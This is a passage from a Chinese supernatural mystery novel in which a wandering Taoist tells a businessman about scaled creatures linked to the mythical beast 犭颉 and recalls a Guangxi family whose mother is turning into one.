满都哇和索南是天蒙蒙亮的时候回来的,他们推门进来的时候,寒风裹带着雪花钻进屋里,寒气瞬间在四下里蔓延,他们悄摸摸脱衣上床,装出一副没起过床的模样,不久后,满都哇熟悉的鼾声响起。 宋浮尘等到两人呼吸平稳沉沉睡去,立马起身出门,在溜之大吉之前,他打算先去院墙后看一看,昨晚视线不佳,他担心自己会遗漏什么重要细节。 一夜风雪过后,昨夜的痕迹早就已经覆盖,他小心翼翼往牛粪堆走,牛粪已经复原,他胡乱地扒开,露出地窖的入口,探头往里看,熟悉的腥臭味依然令人作呕,但金属的碰撞声和长着鳞片的活物没了,地下黑漆漆的,安静极了。 果然没了!那活物被满都哇和索南转移了。 他有些泄气,正准备起身回去,突然有银白色的寒光在眼前一闪而过,他立马暂停了动作,定睛搜寻着光的来源,仔细看了一会儿,发现地窖口的土层里粘着一片亮闪闪的东西,他赶忙趴伏下去,伸手够了上来。 是一片巴掌大的鳞片。 半透明状,上面还带着腥臭的粘液,这肯定就是那活物身上的东西,昨晚父子俩忙着搬运,估计也没顾着周边的细节,难免有疏漏。 宋浮尘盯着鳞片细细看了好一会儿,想着这鳞片都能长这么大,那活物也绝不是一般的东西了,这村子里定然藏着什么惊天大秘密!来不及多想,他从杂物堆里扯出一块破烂的塑料布,胡乱地裹住鳞片,塞进衣襟里,迎面的寒风鼓噪着吹过来,衣服被吹得紧贴在身上,宋浮尘缩着脖子快步离开。 临走前,他最后回头看了一眼这个颓败而诡秘的村子,然后向着辽阔的天地走去。 *** 28. 异兽 犭颉 故事很长,冷柏山很快就抓住了几个重点:满都哇、长鳞片的活物,巴掌大的鳞,这些都跟他切身相关,跟他亲历过的事儿能一一对上。 首先是满都哇,他在青海刚好也认识一个叫满都哇的牧民,在冰天雪地中救了他一命。 其次是长鳞片的活物,他弟弟冷仲明如今就是一个长着鳞片的活物,被困在别墅地下室的玻璃缸里。 至于巴掌大的鳞,他也看过了很多次,冷仲明身上有,云南刁家和青海马家也都先后给他寄过这东西。 这一切不可能都是巧合!或许,这个宋道长是上天冥冥中派来给他答疑解惑的? 眼见压在心头许久的事就要有眉目了,冷柏山难掩欣喜激动,迫不及待地追问:“那后来呢?” “后来?后来的事情复杂得很……一时半会儿说不完,不着急,先休息一会儿。” 宋浮尘说得口舌发干,端起水杯咕嘟咕嘟喝了个底朝天,冷柏山见状赶紧起身,给他杯子里又续上了茶水,宋浮尘礼貌地冲他点点头,以示感谢,末了,后仰着躺在椅背上休息。 他虽然没直接说累,但冷柏山也能看出来他真是累了,先是风尘仆仆来到荆水,又一刻不停地赶来赴约,菜没吃多少,倒是讲了一晚上故事,唾沫都快讲干了,也确实应该累了。 冷柏山知道自己有些心急了,但他等了这么多年,好不容易遇到一个懂行的,眼见着就能窥见真相一角了,怎么可能不着急。 再说了,想见宋浮尘一面不容易,这老道在江湖上混迹多年,颇有点本事,各地都有能人异士盛情相邀,行踪常年飘忽不定,可能今天还在荆水,明天就突然到了人迹罕至地界,想联系上基本不可能,错过这个村可能就没这个店了,还不如打铁趁热,索性这次都问个明白。 包厢一侧是一整面落地窗,窗外夜色浓重,远处高层住宅的灯光如星辰闪烁。 冷柏山低头看了一眼时间,已经十点多了,再聊下去真要通宵了,总不能让道长在饭桌上讲一个晚上吧,这实在不是待客的道理。 思前想后,他终于下定了某种决心,看着宋浮尘直接问道:“道长,接下来有什么安排?打算去哪里?” “还不定呢,可能会去青城山一趟……怎么了?” “您能不能在荆水待一段时间?” 冷柏山问完有些惴惴不安,生怕宋浮尘不同意,眼睛一眨不眨地观察着他的表情变化。 还好,宋浮尘没有表现出抗拒,反而像是早就看透了他的企图,慢腾腾抬头,露出一副愿闻其详的表情。 冷柏山想着,既然事情已经到了这一步,有些事也不便藏着了,于是坦诚说道:“不瞒您说,我们冷家遇到了难事儿,想要您帮帮忙。” 宋浮尘看着冷柏山,淡淡一笑:“我猜到了!” 冷柏山吃了一惊:“您猜到了?” 宋浮尘捋了捋胡子,得意洋洋:“从你问‘井’的时候,我就知道你不只是想问井。” 冷柏山激动地问:“那您是同意留下了?” 宋浮尘不置可否,摆摆手说:“先说说是什么事儿吧!看贫道有没有这个本事替你化解。” “那我先给您看一样东西!” 冷柏山说完,快步走到茶桌边,茶桌一角放着一个牛皮纸文件袋,他拿起文件袋又快步折返回来,将文件袋递给宋浮尘。 宋浮尘不解地看他:“这是……” “您打开看看就知道了。” 宋浮尘接过文件袋,用手捏了捏,文件袋很薄,也没有什么大的凸起,看起来里面的内容物应该不大,他拽住文件袋反面线扣上的线,转了几圈,打开文件袋,从里头拿出一个塑料密封袋,密封袋里装着一个巴掌大接近透明的薄片。 他盯着看了几秒,眼睛登时瞪大。 这是,鳞片?!那种活物身上的鳞片! “您看看这种鳞片,是不是您当年见的那种?” 宋浮尘翻来覆去地看,觉着跟他在青海捡到的那片简直一摸一样,又放在鼻下闻了闻,腥臭味丝丝缕缕若隐若现。 “是这个味儿!!是这个味儿!”宋浮尘激动地连连点头,接着又问了一嘴:“这鳞片哪儿来的?” 冷柏山沉默一瞬,接着慢慢开口:“是……是人身上掉下来的……” 像是并不觉得意外,宋浮尘没有不解,也没有吃惊,只是捋着胡子若有所思地点点头。 “难道您知道些什么?”冷柏山心中一喜。 还没等宋浮尘回答,屋外就响起一阵由远及近慌乱的脚步声,他们俩同时看向门口,还以为是石老头回来了,结果下一秒,咚咚咚的敲门声响起,秘书推门进来。 只见他面色沉重,急匆匆进了屋,小跑着绕到冷柏山身边,俯身在他耳边低声说话,宋浮尘依稀听到了什么“云南”“出事儿”的字眼。 秘书低声说了几句之后,就立在一旁等着冷柏山吩咐。 “视频呢?”冷柏山转过头,低声问秘书。 “说是已经发给您了。”说着顿了顿,又接着说:“您看……您要不要马上去处理一下?” 冷柏山眉头紧锁,犹疑了几秒掏出手机,刻意停顿了几秒,秘书很自觉地闪到一边背过身去,不听不看,冷柏山手指在屏幕上划了划,随即眼珠子反射出屏幕上时明时暗的光来,接着手机里就传出一阵阵惊恐的尖叫声,那声音之凄厉,简直像是见了鬼一样,听得人心尖发颤,毛骨悚然。 毕竟是别人私事,宋浮尘坐在一旁有些尴尬,看也不是,听也不是,只能假装很忙的样子,一会儿咕嘟咕嘟喝水,一会儿假模假式地夹口菜吃,但暗中还是一直关注着冷柏山的状态,只见他脸色发白,握着手机的手微微有些发颤,这让宋浮尘不由好奇,手机里到底是什么视频? 正想着呢,冷柏山突然从屏幕上移开视线,抬起头来看他,四目相对的瞬间,方才还精神奕奕的人,也就一瞬间,老态毕现,眼中满是惊恐。 宋浮尘愣住了,更准确地说,他是被冷柏山眼中铺天盖地的惊恐震撼住了。 “冷老板,你……” 他话还没说完,冷柏山突然开口:“道长,现在我有个不情之请,您能不能跟我去一趟云南?” “云南?” 像是怕宋浮尘不同意,冷柏山赶忙又补了一句:“我儿子在云南出事了,现在生死不明,眼下可能也就您能救他了!” 宋浮尘虽然很想帮忙,但一听冷柏山这话,颇有些病急乱投医的调调,现今社会是个人都知道人要是生死不明,出了事,那得先找警察帮忙,而他只是个道士,并没有什么手眼通天的本事,他实在怕自己担不起这责任,负了人家的信任,心下有些犹豫,没有直接答应。 冷柏山也许是看出了宋浮尘的担忧,赶忙解释:“这事其实也跟鳞片有关,道长,眼下我实在没有别的办法了。” 说完,也不管宋浮尘还没答应,着急地吩咐秘书:“你赶紧去安排一下,今晚我跟道长要一起飞云南!” “好的,我马上去安排!” 秘书点点头,立马迈步往外走,还没走几步,冷柏山就在身后叫住了他。 “把李教授也叫上!” “好的!” 这一切发生得太快,宋浮尘还没反应过来,秘书就已经出去安排了,他一脸懵怔,心想不对啊,我还没答应呢,怎么就给我安排上了?想着赶忙起身,忧心忡忡跟冷柏山说:“这怎么就要去云南呢?我这还不知道能不能帮上忙呢!” 冷柏山没说话,手指在手机屏幕上划了几下,然后将手机放到宋浮尘面前。 “您先看看这个!”冷柏山说着,眼神朝着屏幕指了指。 这是一段夜间拍摄的视频,夜色正浓,视频的视角在高处,似乎是趴在屋顶拍摄的,镜头正对着一处古朴的院落,院中灯光如昼,几个年轻人正张皇失措地在院子里疯跑,不时发出崩溃惊恐的尖叫声,刚开始宋浮尘还没看明白怎么回事,但看着看着,他才发现那群年轻人身后原来一直跟着一道黑影,忽闪忽闪的,因为速度极快,所以他刚开始看的时候才没发现。 镜头一直紧追着黑影不放,黑影去势如劲风闪电,好几次朝着几个年轻人猛扑过去,看得人都跟着呼吸一滞,好在几个人挺机灵,都惊险地躲了过去,黑影气急,停下来仰头长啸,声响震动天地,也就趁着这个停顿的间隙,画面对准目标物不断放大再放大,终于捕捉到那道黑影的真面目——四肢纤长,面目如丑陋的狗,浑身濡湿的黑色长毛下,覆盖着一层密密麻麻的鳞片。 “您看看这东西是什么?”冷柏山脸色凝重地看向宋浮尘。 宋浮尘盯着画面的眼睛瞬间瞪大,一颗心狂跳不止,说话也结巴起来:“这……这……这……是……” 冷柏山忙问:“莫非……您见过?” 宋浮尘咽了咽口水,尽量平复了一下心情,舔了舔嘴唇说道:“如果我没看错的话,那东西叫犭颉,传说中的异兽,似狗而长有鳞甲……” “xie?是哪个字?”冷柏山闻所未闻,赶忙询问。 宋浮尘伸手从一旁的水杯里沾了点水,在桌面上写下一个“犭颉”字,在灯光下竟然现出冷冽的光来,不一会儿水汽蒸发,一切消失于无形。 冷柏山盯着那一处看了好一会儿,这个字着实生僻复杂,他还是第一次见,赶忙在手机上手写输入搜索,不一会儿屏幕上就跳出了关于“犭颉”的描述——犭颉,一种出现在《?山海经》?中的神秘生物,?其特征是形状像獳犬,?身上有鳞甲,?毛像野猪的鬃毛。除此之外,就再无更多的解释了。 “形似獳犬,?身有鳞甲,?毛像野猪的鬃毛……” 冷柏山低声喃喃,心想那视频里拍的东西确实如描述这般,身上有鳞,浑身长满长毛,他突然又联想到了在地下室里关着的弟弟冷仲明,突然身子一寒,冷仲明虽然还依稀能看出人的模样,但身上的鳞片毛发和视频中的怪物颇有点相似之处,难道他之所以会变成那个鬼样子,也跟这“犭颉”有关? 所以,这个“犭颉”到底是个什么东西? 冷柏山原本还想详细问一问,但最早去云南的航班只剩一趟,必须马上去机场。 *** 车开出去一阵,宋浮尘看着窗外飞速后撤的城市夜景,还有种恍然如梦的感觉,他都不知道自己怎么就稀里糊涂上了车,怎么就要去云南了。 嗡嗡嗡,兜里的手机一阵震响,他瞬间被拉回现实世界。 是石老头来的电话,估计是他们走后,石老头溜达完回屋里没看到人,这才赶紧打电话来询问。电话刚接通,石老头不满的声音登时就传了出来。 “怎么突然就要去云南了?也不提前说一声?” 宋浮尘嗯嗯啊啊敷衍地应着声,频频看一旁冷柏山的眼色。 “嗯,我跟冷老板临时有事儿,具体情况回来跟你说,你放心,你交代的事我记着呢……嗯好,就这样!” 匆匆说完,就挂了电话。 冷柏山面色沉静地躺在座椅上,看上去心绪已经平复,听到宋浮尘挂了电话,赶忙转头跟他说明情况:“道长,荆水没有机场,我们得开车去江城坐飞机,过去得三个多小时,您受累!” 宋浮尘一脸苦笑,心想我都在车上了,也只能悉听尊便了,于是点点头表示理解。 “不过,我们现在还得先去城南大学城接上李教授,估摸着得一个小时。” 得!既来之则安之,宋浮尘点点头,随口一问:“这个李教授也跟我们一起去云南?” 冷柏山连忙解释:“对,他是是荆水大学生物系的教授,对未知生物有研究也有兴趣,这次去云南,他说不定能帮上忙。” 一听这介绍,宋浮尘就知道冷柏山为什么要带上这个李教授了,生物系的教授,面对那浑身长满鳞片的犭颉,那确实是专业对口。 其实,宋浮尘这趟跟着出来,也并非完全是被迫,多少也还是有些私心,毕竟冷柏山所求之事跟他心中的困惑高度重合,一直围绕在犭颉和地下活物身上的疑团,他也想快点弄清楚,免得一直在脑海中挥之不去,时不时出来折腾他。 多一个人就多一条途径,多一种解法,也是好事。 长路漫漫,冷柏山担心宋浮尘疲累无聊,俯身拉开了座位前方隔断里的抽屉,从里头取出了两只晶莹剔透的高脚杯,扬手递了一只给宋浮尘。 “道长,路还长,咱们边喝边聊!” 说完,又指了指抽屉里的红酒,补了一句:“这酒不错,您一定得尝尝!” 冷柏山之前就问过石永安,知道宋浮尘吃喝不忌,尤其爱喝几杯,只是在饭桌上双方都知道这不是一次单纯的饭局,都有所顾忌,也就没放开喝,他知道宋浮尘肯定没喝尽兴。 果不其然,宋浮尘一听有酒喝,就跟耗子见到大米似的,眼睛顿时就亮了,什么疲惫啊,担忧啊,通通扔到了一边,他现在眼里只有酒。了解他的人都知道,他嘴馋得很,爱吃爱喝,也不挑,只要是酒就行,喝到老脸泛红、脑瓜子晕乎,那感觉最美妙。 不过他很少喝到醉熏醺,一来是经济不允许,有这钱喝酒,还不如多给自己的道观买点米面粮油,二来就算有人请,一般又像冷柏山这样有事相求,怕喝多了误事,所以一年到头也醉不了几次。 眼见有酒喝,他光速接过了红酒杯,一秒的客套和犹豫都没有。 冷柏山的酒自然是好酒,前几日刚开封,风味不错,拔开瓶塞轻晃瓶身,醇厚的酒香顿时溢出了瓶口,迅速挥散在车厢里,宋浮尘情不自禁地深嗅了一口,便勾得肚里馋虫大动,喉头滚了又滚。 殷红色的红酒入杯,宋浮尘迫不及待喝了一口,入口果香浓郁,还伴着独特的烟熏风味,实在回味无穷,一口咽下,他意犹未尽地咂咂嘴,由衷叹道:确实是好酒! 冷柏山微微一笑,然后缓缓开口:“道长,之前故事说到一半,要不咱们接着往下说?!” 看似问句,其实并没有什么商量的余地,宋浮尘心知肚明,笑着点了点头。 冷柏山随后摸出一个遥控器,对着前头一按,原本半镂空的隔断缓缓上升,一直顶到车顶,严丝合缝地将司机和后方区域隔开,瞬间形成了一个私密空间。 这车可真高级!宋浮尘又一次惊叹,但惊叹的多了,也有些见怪不怪了。 他仰头又喝了一口美酒,顿了顿,准备接着饭桌上的话题继续往下讲,结果话都到嘴边了,脑子却突然短路,他尴尬地挠了挠头:“我们之前说到哪儿来着?” 冷柏山提示:“您之前提到了犭颉……” “哦,对对对,犭颉!那还得从我再一次被救说起……” 宋浮尘说着,盯着手中轻轻晃动的红酒杯,杯里的红色液体摇曳,思绪努力在回忆的碎片中穿梭,不断回溯,再回溯,片刻之后,又回到了青海那段冰天雪地、挨冻受寒的日子。 逃离村子后,他沿着昆仑山北侧一路向西,那时节到处天寒地冻,他走的时候身上只塞了一把奶疙瘩,实在难以果腹,再加上伤又还没好透彻,不久身体就出了问题,一直发烧,上吐下泄,这在高寒地区来说实在致命。 不能再往前走了,他只能在山脚找了个避风的地儿捱着。 一连躺了好几日,身体状况越来越差,先是虚弱的几近昏厥,接着整个身子都动弹不了,再然后感官也变得虚无,他半梦半醒地躺着,觉得时间像是被拉长了一般,变得混沌冗长,像是永无尽头,他渐渐丧失了生的意志,像一条濒死的鱼,等待生命一点点流逝。 在意识到自己就要一命归西了,内心却变得前所未有的平静。 他这人向来不走寻常路,虽然师从武当榔梅派,却算不得正统,在外人看来就是一疯疯癫癫的老道,独来独往,游历四方,习得一身本领,人生在世几十载,也逍遥自在了几十载,该体验的也体验过了,最后能死在这广袤的天地间,化作一缕尘埃,与风沙雨雪作伴,倒也不失为一种浪漫。 他使出最后一丝力气,酣畅地笑了两声,然后重重地闭上眼睛。 也许冥冥中有各路神仙保佑,不想他就这么草草结束一生,就在他濒死的一瞬,奇迹发生了。 一辆高级商务车突然从远处开过来,在避风的山脚缓缓停下。 几个男人快步下车,小跑着往四面八方散去,其中一个跑到山脚想找个有遮挡的地方方便,结果裤子拉链还没拉开,就一眼瞥见在角落避风处躺着的宋浮尘,惊得大喊出声。 就这样,宋浮尘捡回了一条命。 他醒来后才知道,救他的是一支业余登山队,刚刚完成登山计划,正要返回西宁。 要不说,这世间还是好人多呢!他当时的情况很严重,在西宁的医院住了半个多月,登山队的人见他孤家寡人一个,走之前不仅花钱找人照顾他,还慷慨地帮他预付了医药费。 出院后,他在当地朋友的帮助下,几经周转才回到自己的道观,他回道观的第一件事,就是把随身带回的那片鳞埋在了门前的大石头下。 那次出行,他元气大伤,在道观里休养了足足大半年,每日读书诵经、运功修炼,日子倒是过得舒适惬意,只是每每看到门前的那块大石头,就想起在青海的种种经历,那片鳞就像一根深扎在心里的针,时不时刺他一下,提醒着他谜题未解。 日子一天一天过,那些不好的记忆渐渐被纷繁的日程淹没,他又开始广交好友,云游四方,直到多年后,广西的一个商人几经周折竟然把电话打到了道观山下的村子里,村里人定期送食材上山,这才把消息告诉他。 这商人自称认识宋浮尘,说宋浮尘当年在青海时搭过他的车,现在有急事相求。 广西人,在青海搭过他的车? 宋浮尘脑中灵光一闪,立马想到一个人,就是当年在青海救他的那支登山队的队长,一个皮肤黝黑,个子中等,身材很结实的男人。 这人早年经商挣了不少钱,算是早早就实现了财富自由,物质上极大满足后,就开始在精神上寻找自己,干一些以前想干而不敢干的事,比如摄影、登山,多年前他拉着他老婆一起组建了一支登山队,队员都是各行各业爱好登山的朋友。当年他们去昆仑山爬完玉珠峰,返程的途中遇上了病恹恹的宋浮尘,立马送到西宁的医院,忙前忙后,把宋浮尘安置得妥妥当当才离开。 这人热心有情义,又是宋浮尘的救命恩人,他自然不能怠慢,对方话说得很急,他担心误事,赶忙下山回了电话。 电话里,对方表明自己遇到了大麻烦,事情很紧急,希望宋浮尘能去一趟广西,说是来接他的车都已经安排好了,只等宋浮尘点头,就能随时出发。 见对方十万火急,宋浮尘也不敢耽搁,当晚就设法出了山,一到镇里就见到了对方安排的人和车,之后直奔广西。 虽然这已经是多年以前的事了,但宋浮尘仍然记忆犹新,很多细节都还记得一清二楚,毕竟这件事终于揭开了关于鳞片的疑问,只是事态发展让人始料未及。 他还记得,车第二天才终于到了广西,停在一家规模很大的酒店门口。 酒店看起来挺有档次,接待人员热情地给他安排了最好的房间,开窗就可以看见广西特色的起伏山岚,但他这一路风尘仆仆,累得很,根本无心欣赏,到了房间直接倒头就睡,一直睡到黑夜降临,司机来叫门。 宋浮尘睡眼惺忪,发髻蓬乱地跟着司机下楼,又重新上车出发,车慢慢驶离都市,开始在山间穿梭,一会儿左拐,一会儿右拐,也不知道拐了多少个弯,终于辗转到了山间深处一间造型现代的二层民居门口。 夜晚山里黑黢黢的,唯独房子里灯火通明,伫立在那里,就像一处异度空间,显得格格不入。 车刚停稳,房子四周渐次亮起了灯,晕黄朦胧的灯光瞬间描摹出房子高低错落的造型轮廓。 宋浮尘趴在车窗上往外看,车门忽然被人从外面拉开,他猝不及防,身子因着惯性从车里栽出来,外面的人见状吓了一跳,赶忙伸手去扶,好在他眼疾手快,赶忙迈腿踏地撑住,佝着身子稍稍站定,一抬头就看到车外那个熟悉的男人。 “哎呀,道长,您没事吧?!” 宋浮尘赶忙摆手:“不碍事,不碍事!” “道长,这真是盼星星盼月亮,终于把您给盼来了。” 男人说着,很是激动地一把握住了宋浮尘的手,宋浮尘有点慌张,尴尬着笑着跟男人打招呼。 “哦哦哦,好久不见,好久不见。” “来,快快快!快进屋!” 男人像老熟人一般,非常亲昵地搭着宋浮尘的后背,往屋里走。 在外头看不显眼,进了屋子,这才发现屋里珠光宝气、金碧辉煌,各种水晶、玻璃、大理石,地上、墙上、顶棚上都亮光闪闪,差点晃瞎了宋浮尘的眼。 再往里走,沙发区更是离谱,巨大无比,整整绕了两面墙,宋浮尘目测了一下,那尺寸稍微挤一挤,能睡下一百个他都不成问题,他惊得半天合不上嘴,眼珠子滴溜溜左瞧右看,颇有点刘姥姥进大观园的味道。 也就是从那时候开始,他就对有钱人的浮夸有了基本的认知。 视线在沙发区来回游走,发现在角落里坐着一个十多岁的男孩,正翘着二郎腿玩游戏机,听见声音抬了抬眼皮,看了看来人,又若无其事地低下头,继续打他的游戏。 男人带着宋浮尘都走到跟前了,男孩就跟没看见似的,目不斜视地玩自己的,男人一看他,莫名就气上心头,板着脸训斥:“骆晓川,有客人来你都不起身打个招呼,我是这么教你的吗?” 男孩充耳不闻,继续玩着游戏机,男人作为父亲的权威被挑战,着实气得不行,铁青着一张脸,一字一顿地喊:“骆!晓!川!” 男孩这才一脸烦躁地抬起头来,心不甘情不愿地冲着宋浮尘敷衍地点了点头,然后继续低头玩游戏。 “嘿,你这是什么个鬼样子!” 男人一见男孩那个吊儿郎当的态度,真是气不打一处来,怒气冲冲就要冲过去教育男孩,宋浮尘见状,赶忙上前拦住了男人,好说歹说地劝:“这个年纪的孩子都这样,您别生气,骆老板!” 听到宋浮尘的话,男人脸色微变,突然停下来转头看他:“你……叫我什么?” 宋浮尘一脸不解,见男人脸色不好,忐忑中带着一丝不确定:“骆老板?” 男人像是觉得这个称呼很讽刺,自嘲般笑了笑。 怎么?他儿子不是叫骆晓川吗?是姓骆啊?叫他骆老板也没错吧?宋浮尘看着对方的反应满脑袋问号,心里不禁犯起了嘀咕。 片刻之后,男人一脸正色地看向宋浮尘,一字一顿:“我不姓骆,我姓王,我老婆姓骆!” 啊?原来儿子是随母姓? 宋浮尘知道自己闹了乌龙,脸上止不住地尴尬,心里不由地责怪自己太失礼了,竟然连恩人的名字都没打听清楚,还自认为聪明,想着人家儿子姓骆,老子肯定也姓骆,暗骂自己老古董思想,现在都什么年代了,谁说孩子就一定要跟爸爸姓? 宋浮尘陪着笑,连连道歉:“不好意思啊,王老板,我这没搞清楚状况,实在太失礼了!” 男人瞬间又恢复成惯常热络的表情,摆摆手,笑着说:“没事的,我老婆出事之前公司的事情都是她打理,她出事之后,我才不得不接手公司,很多人都习惯了,总会骆总骆总的叫,我已经习惯了,没事儿!” 男人的话迅速引起 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骆晓川似乎对位置很不满,瞥了身旁的父亲一眼,脸上都是不爽的情绪,等厨房阿姨离开,立马起身走到了餐桌对面坐下。 男人注意到了儿子的一举一动,全程横眉冷对,眼中尽是嫌恶的神色,骆晓川也一样,讨厌的情绪都挂在脸上,宋浮尘即使再迟钝,也看得出这对父子关系似乎已经到了冰火不容的地步,不禁暗暗觉得奇怪。 当晚的菜色很丰富,都是些广西当地的特色菜,柠檬鸭、芋头煲、黄豆焖鱼仔、假蒌酿……满满一大桌,样样色香味俱全,要不说咱大中国的美食博大精深呢,不同的地方都会根据当地食材、气候、喜好进行改良、创造,煎炒烹炸总能想方设法发挥食材最大的口感和味道,这些年他走南闯北,受到不少友人宴请款待,每每都能被惊艳到。 只是那一晚,宋浮尘盯着满桌菜肴,却没了食欲。脑子里一遍遍猜测,王老板的妻子究竟出了什么事,父子俩的关系又为何会走到这一步。他心里清楚,对方千里迢迢把他请来,必定与这些事有关。 见他迟迟没动筷,男人赶忙热情招呼:“道长,都是些家常便饭,您别嫌弃哈!来吃吃吃!” 说着不停给宋浮尘夹菜,宋浮尘也不好拂了人家的好意,只好埋头硬吃。 “我原本是打算让您在我家里住的,但又担心您住得不自在,就给您安排在酒店了,怎么样,住得还好吧!要是有问题您一定要跟我说啊,别客气,您说您老大远来一趟,我一定得把您照顾好了。” 宋浮尘客气地说:“挺好,都挺好!” “那就好,那就好!” 骆晓川全程没说话,但看到男人对外人一脸谄媚热络的样子,冷笑一声,一脸鄙夷地咀嚼着嘴里的食物,然后再用力咽下,就像咽下的不是食物,而是某种浓重的情绪,这样的笑脸,他这些年从未在父亲的脸上见过,但是对于外人来说,却是轻而易举,想来也是讽刺。 男人没有注意到儿子的表情,一边跟宋浮尘说话,一边站起身来转动圆桌,准备给宋浮尘夹菜,也不知是出于什么心理,骆晓川突然在另一端按住桌面,开始往反方向狂转桌子。 两端力量对撞拉扯,圆桌半天转不动,男人刚开始还以为是桌子坏了,皱起眉头四处看了看,发现是骆晓川在捣乱,心里顿时窜起一股无名火,狠狠横了骆晓川一眼,眼神警告他赶紧松手,骆晓川不但不松手,还紧咬着腮帮子使劲转桌子。 本来男人还想忍一忍,想着有客人在,还是吃饭的时候,不能掉脸子让客人不自在,他深呼了一口气,试着压下怒火,尽量心平气和地盯着骆晓川看了几秒,接着眼神朝着宋浮尘指了指,那意思有客人在,你别给我惹事! 骆晓川跟没看见似的,仍旧我行我素地转桌子,其实他也不是真的要夹菜,就是故意的,存心想让男人难堪、不爽。 灯光之下,光亮的大理石桌面上映出了男人越来越难看的脸,他终于忍不住,拍案而起,指着骆晓川厉声呵斥:“骆晓川!你妈就是这么教你的吗?” 没想到此话一出,骆晓川浑身一僵,眼神复杂地看向父亲,就像在看一个陌生人,男人似乎也意识到自己说错了话,表情有些愕然无措,嘴巴张了张,似乎想说什么,却始终没说出口。 骆晓川悲凉地轻笑一声,把碗往桌上一扔,起身就往外走。 原本以为只是简简单单吃个饭,结果亲眼目睹了一场父子不和的伦理大戏,宋浮尘他一个外人杵在现场,真是如坐针毡、如芒刺背,第一反应就是庆幸,庆幸自己一心修道、孑然一身,要不然光处理家庭关系就会要了他的老命。 看着洛晓川倔强的背影,男人长叹一口气,软下语气,喊住他:“过会儿来我的书房,今天道长来也是为了你妈的事情!” 听见这话,骆晓川脚下步子一顿,回头看了一眼宋浮尘,眼中有亮光一闪而过,之后他径直走出餐厅,消失在视线的拐角。 男人像是突然卸了力,一屁股跌坐在椅子上,宋浮尘在一旁小心询问:“王老板,您没事吧?!” 男人一脸颓然地跟宋浮尘道歉:“宋道长,不好意思啊,让您见笑了,原本是想请您好好吃一顿的,结果让您看到这一出‘父慈子孝’!唉,您也看到了,我们家现在也不像个家了。” 说到这里,男人无奈地笑笑,这笑容透着说不出的惨淡悲凉。 宋浮尘看在眼里,犹豫再三,还是忍不住问道:“您说这次找我来,是因为您的夫人,不知道夫人到底出了什么事?” 男人又重重地叹了口气:“道长,咱们去书房聊。” 宋浮尘知道,终于要进入正题了。 宋浮尘跟在男人身后进入书房,骆晓川已经等在里面了,一见两人进来,起身忙不迭地问:“这个道长能救我妈吗?已经想到方法了吗?” 男人伸手往下压了压,示意他冷静,然后引着宋浮尘在电视前的沙发上坐下,接着打开了电视,下一秒,无法预料的冲击画面突然展露眼前,宋浮尘吓得浑身一抖,瞳孔骤然放大。 镜头之下,是一个长着密密麻麻鳞片的活物,鳞片的缝隙间还有丝丝缕缕的黑色长毛,它头跟人一般大小,身躯如六七岁的孩童,五官和形态却有点像面目凶悍的狗,脖颈和四肢纤细如竹竿。 它悬浮在水中一动不动,像是死了一般,但仔细盯着看,就能发现它的腹部和四肢都在微不可查地抽动。 那是他第一次清晰地看到了犭颉的全貌,但那时的他对犭颉还一无所知,觉得可能是某种怪异未知的生物,根据“鳞片”这一生物特征,他立马想到了那年在地窖里看到的活物,暗暗猜测两者会不会是同一种东西。 那个视频放得突兀,宋浮尘猜不透男人让他看电视画面的真实意图,正准备张口问,男人又按了按遥控器,电视画面立刻切换,这次画面里出现了一个女人,她一动不动地躺在床上,面色惨白,整个身体呈现出一种诡异的僵硬状。 宋浮尘觉着这女人十分眼熟,看着看着,心里一突,这女人不就是那男人的老婆吗? 他下意识瞥了男人一眼,只见男人不动声色,紧盯着电视画面。 镜头开始慢慢移动,对准了女人腿的位置,只见裸露在外皮肤颜色发青,上面还有一些怪异的纹理,打眼看,像是树皮的裂纹,突然,一个男人的手出现在镜头里,拿着一个木锤子,在女人长满纹理的腿上敲来敲去。 叮叮当当,一阵熟悉而怪异的声音传来,宋浮尘心下一惊,立马竖起耳朵细听,没错!是金属碰撞的声音!跟当初在地窖旁听到简直一模一样! 视频还没结束,似乎是想让人看得更清楚,镜头又拿近了一些,这时宋浮尘诧异地发现,女人腿上那些看起来像树皮的纹理,其实是密密麻麻的鳞! 一股深重的凉意一直从头顶蔓延到脚底,宋浮尘紧张地咽了咽口水,一时间感觉呼吸都停了。 活物、鳞片、金属碰撞声,这些元素添加在一起,他脑子里立刻有了一种恐怖的联想,会不会那个活物其实就是这个女人。 但随即这个想法就被打消了,因为实在太过离奇恐怖,他不敢再细想下去。 镜头一路向下,从女人的大腿一直扫到小腿,整条腿已经完全异化,在扫到发青的脚底时,突兀的出现了一个血洞,也就硬币大小,却莫名透着股诡异。 随后,镜头对准了那个血洞,一一点点拉近,一双戴着一次性手套的手再次闯入镜头,拿着金属镊子小心翼翼撑开那个血洞,向镜头展示伤口里面的景象。 无数细丝一样的东西在伤口里蠕动,像蚯蚓来回翻腾挣扎。 宋浮尘一脸愕然的呆坐在那里,嘴巴半张着,已经不知道该做什么反应。一旁的父子俩实在不忍直视,都沉默地低下了头。 视频很快播放完,最后的画面定格在那个脚底的血洞上。 屋子里的空气像是一下子停滞了,沉闷、窒息,让人喘不过来气。 过了好一会儿,男人才艰难地开口,向宋浮尘求助:“道长,其实这前后两段视频里都是我老婆……前一个是现在的样子,后一个是受伤后不久的样子……” 瞬间的事实冲击,惊得宋浮尘脑子里嗡嗡的,他没想到自己那个离谱的猜想竟然是真的!一种巨大的荒诞和恐怖感像潮水突袭,瞬间淹没了他。 一个人怎么会一步步变成那个样子? 男人像是还很难接受这个现实,有些语无伦次:“我……没办法,我真的是没办法了,各种医生、教授我都找了,我真……我真的尽力了,听说您见多识广,您能不能救救她……” 说到后来,声音都有些哽咽发抖。 宋浮尘还没缓过来,整个大脑一片空白,他不知道该如何安抚对方,也不知道该如何回答,他不是天神降临,也没有什么超能力,那时候他连那活物是什么都不知道,谈何救呢? 一旁的骆晓川抹掉眼角的泪水,蓦地站在起身来,冲到宋浮尘面前,急迫地问他:“我妈还有救,对吗?她还能回到以前的样子,对不对?你说啊!” 他一遍一遍地问,近乎神经质。 宋浮尘实在无法回答,最终低下头,选择了沉默。 有时候,沉默就是一种回答,一种接近残酷真相的回答。 骆晓川心底最后一丝希望破灭了,眼神迅速暗淡下来,他垮塌着肩膀,身子的力气像是一下子就散了,脚在地上无力地拖着,慢腾腾转身往回走。 宋浮尘一颗心憋闷到了极点,实在于心不忍,想尽他所能帮帮这对父子,于是转头问男人:“这到底是怎么回事?” 